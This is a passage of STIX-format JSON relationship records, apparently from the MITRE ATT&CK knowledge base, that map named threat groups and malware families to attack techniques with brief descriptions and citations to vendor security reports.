            "created": "2019-01-30T13:53:14.935Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group",
                    "source_name": "Symantec Gallmaker Oct 2018"
                }
            ],
            "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) attempted to exploit Microsoft\u2019s DDE protocol in order to gain access to victim machines and for execution.(Citation: Symantec Gallmaker Oct 2018)",
            "id": "relationship--9d82ba74-8cfa-4f6c-a1a0-f23fe8a738cf",
            "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
            "type": "relationship",
            "modified": "2019-04-16T14:51:35.334Z",
            "created": "2019-01-30T14:26:43.136Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can recursively search for files in folders and collects files from the desktop with certain extensions.(Citation: Unit42 Azorult Nov 2018)",
            "id": "relationship--de7c6e69-dd8f-4063-aaa2-569ab767629e",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.631Z",
            "created": "2019-01-30T15:19:15.047Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
                }
            ],
            "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to periodically take screenshots of the system.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--2d920718-61fc-4e10-ad09-df0a00d69cd4",
            "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-16T16:03:40.902Z",
            "created": "2019-01-30T15:38:21.269Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can capture screenshots.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--f44842c1-f17d-4bb0-8803-3eee13cf831e",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.846Z",
            "created": "2019-01-30T16:39:54.194Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--5b50193e-6a97-432a-8839-6bb18e88271f",
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b",
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                }
            ],
            "description": "(Citation: Symantec Buckeye)",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.689Z",
            "created": "2019-01-30T16:54:17.218Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has dropped an mspaint.lnk shortcut to disk which launches a shell script that downloads and executes a file.(Citation: Securelist Darkhotel Aug 2015)",
            "id": "relationship--8ec75847-49fe-4404-b829-99b1e27d4682",
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2020-03-16T20:05:43.634Z",
            "created": "2019-01-30T17:43:28.207Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used compromised VPN accounts to gain access to victim systems.(Citation: McAfee Night Dragon)",
            "id": "relationship--43238f43-2cbd-40e4-8dbf-c97b9500f528",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.942Z",
            "created": "2019-01-30T18:02:59.204Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has exploited Microsoft Office vulnerability CVE-2017-0262 for execution.(Citation: Securelist Sofacy Feb 2018)",
            "id": "relationship--1b3f3de6-364e-443f-8b34-62073c801a5b",
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2019-09-09T17:44:35.660Z",
            "created": "2019-01-30T18:53:05.411Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Denis April 2017",
                    "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/",
                    "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) obfuscates its code and encrypts the API names. [Denis](https://attack.mitre.org/software/S0354) also encodes its payload in Base64.(Citation: Securelist Denis April 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--f4881cea-8d6f-4cb6-ab86-5aab2379c695",
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-24T20:56:04.727Z",
            "created": "2019-01-30T20:01:45.541Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) used [Net](https://attack.mitre.org/software/S0039) to use Windows' hidden network shares to copy their tools to remote machines for execution.(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--bfdffc50-dba0-41d1-a332-0a02a0a8de07",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.714Z",
            "created": "2019-01-31T01:07:58.487Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "SecureAuth. (n.d.).  Retrieved January 15, 2019.",
                    "url": "https://www.secureauth.com/labs/open-source-tools/impacket",
                    "source_name": "Impacket Tools"
                }
            ],
            "description": "[Impacket](https://attack.mitre.org/software/S0357) contains various modules emulating other service execution tools such as [PsExec](https://attack.mitre.org/software/S0029).(Citation: Impacket Tools)",
            "id": "relationship--6e1e5bab-151b-4be9-9c96-5cb4c66ff540",
            "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2019-04-18T21:49:12.781Z",
            "created": "2019-01-31T01:39:56.527Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--e9e35351-d53c-4ea3-a439-d43bd636ae32",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "(Citation: FireEye APT38 Oct 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:10:53.570Z",
            "created": "2019-01-29T21:27:25.336Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Cobian Aug 2017",
                    "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat",
                    "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."
                }
            ],
            "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) creates an autostart Registry key to ensure persistence.(Citation: Zscaler Cobian Aug 2017)",
            "id": "relationship--22260fda-fb95-4cf4-9e23-ba8662157c1f",
            "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-23T21:09:54.750Z",
            "created": "2019-01-29T21:40:37.818Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Octopus Oct 2018",
                    "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."
                }
            ],
            "description": "[Octopus](https://attack.mitre.org/software/S0340) uses wmic.exe for local discovery information.(Citation: Securelist Octopus Oct 2018)",
            "id": "relationship--b4810e29-e543-4816-a6a2-d9c0b96eed07",
            "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2020-03-17T02:00:35.701Z",
            "created": "2019-01-30T13:24:09.068Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) modifies conditions in the Registry and adds keys.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--b7dfc429-1f62-4bb1-933f-25dfd4fff9ad",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-04-17T22:22:22.065Z",
            "created": "2019-01-30T13:53:14.894Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT29 Nov 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html",
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used Port Number 443 for C2.(Citation: FireEye APT29 Nov 2018)",
            "id": "relationship--5513a256-0793-4f6b-9e59-fed2e3252419",
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.362Z",
            "created": "2019-01-30T14:19:17.691Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can capture screenshots of the victim\u2019s machines.(Citation: Unit42 Azorult Nov 2018)",
            "id": "relationship--ed8a6815-fd13-4e73-9b17-6b4025c0861c",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.647Z",
            "created": "2019-01-30T15:19:14.988Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--0e6d6b87-84fe-49ed-9b85-cf3cdfa36820",
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                },
                {
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "source_name": "McAfee Oceansalt Oct 2018"
                }
            ],
            "description": "(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.552Z",
            "created": "2019-01-30T15:33:07.903Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Lazarus Nov 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/",
                    "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."
                }
            ],
            "description": "[AuditCred](https://attack.mitre.org/software/S0347) can utilize proxy for communications.(Citation: TrendMicro Lazarus Nov 2018)",
            "id": "relationship--2485b970-f934-4fdb-80a4-0e11c179845d",
            "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "type": "relationship",
            "modified": "2020-03-20T16:06:56.371Z",
            "created": "2019-01-30T15:47:41.417Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                },
                {
                    "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.",
                    "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html",
                    "source_name": "Talos MuddyWater May 2019"
                },
                {
                    "source_name": "Reaqta MuddyWater November 2017",
                    "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/",
                    "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s OS version and machine name.(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)",
            "id": "relationship--9c5c8dbe-ec34-46f9-b4af-0a6e73f00c89",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2021-03-19T13:43:29.844Z",
            "created": "2019-01-30T17:33:41.085Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "source_name": "McAfee Night Dragon"
                }
            ],
            "description": "[zwShell](https://attack.mitre.org/software/S0350) has established persistence by adding itself as a new service.(Citation: McAfee Night Dragon)",
            "id": "relationship--38b1ad70-4d24-4f5c-ad62-e03f38b6752f",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-16T16:07:39.158Z",
            "created": "2019-01-30T17:48:35.709Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                },
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "source_name": "Unit42 Sofacy Dec 2018",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019."
                },
                {
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "source_name": "ESET Zebrocy May 2019"
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."
                },
                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."
                }
            ],
            "description": "A variant of [Zebrocy](https://attack.mitre.org/software/S0251) captures screenshots of the victim\u2019s machine in JPEG and BMP format.(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020)",
            "id": "relationship--3e2d4ce8-0006-4571-b8ea-dbfc4bf7302f",
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-12-09T21:54:33.769Z",
            "created": "2019-01-30T18:39:48.412Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/",
                    "source_name": "TrendMicro MacOS April 2018"
                },
                {
                    "source_name": "Trend Micro MacOS Backdoor November 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html",
                    "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) collects processor information, memory information, computer name, hardware UUID, serial number, and operating system version.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)",
            "id": "relationship--588865e4-caec-4150-9c03-df5e28eb9c79",
            "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-12-02T14:57:47.600Z",
            "created": "2019-01-30T19:18:20.167Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Denis April 2017",
                    "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/",
                    "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) compressed collected data using zlib.(Citation: Securelist Denis April 2017)",
            "id": "relationship--6a6d57a7-8977-4928-8ef7-71d6c8a9fbfa",
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
            "type": "relationship",
            "modified": "2020-03-30T02:05:06.322Z",
            "created": "2019-01-30T20:01:45.468Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Konni May 2017",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Medium KONNI Jan 2020",
                    "url": "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b",
                    "description": "Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) can gather the OS version, architecture information, connected drives, hostname, and computer name from the victim\u2019s machine and has used systeminfo.exe to get a snapshot of the current system state of the target machine.(Citation: Talos Konni May 2017)(Citation: Medium KONNI Jan 2020)",
            "id": "relationship--172da5b1-cf68-468a-8208-b15ea5c813dc",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
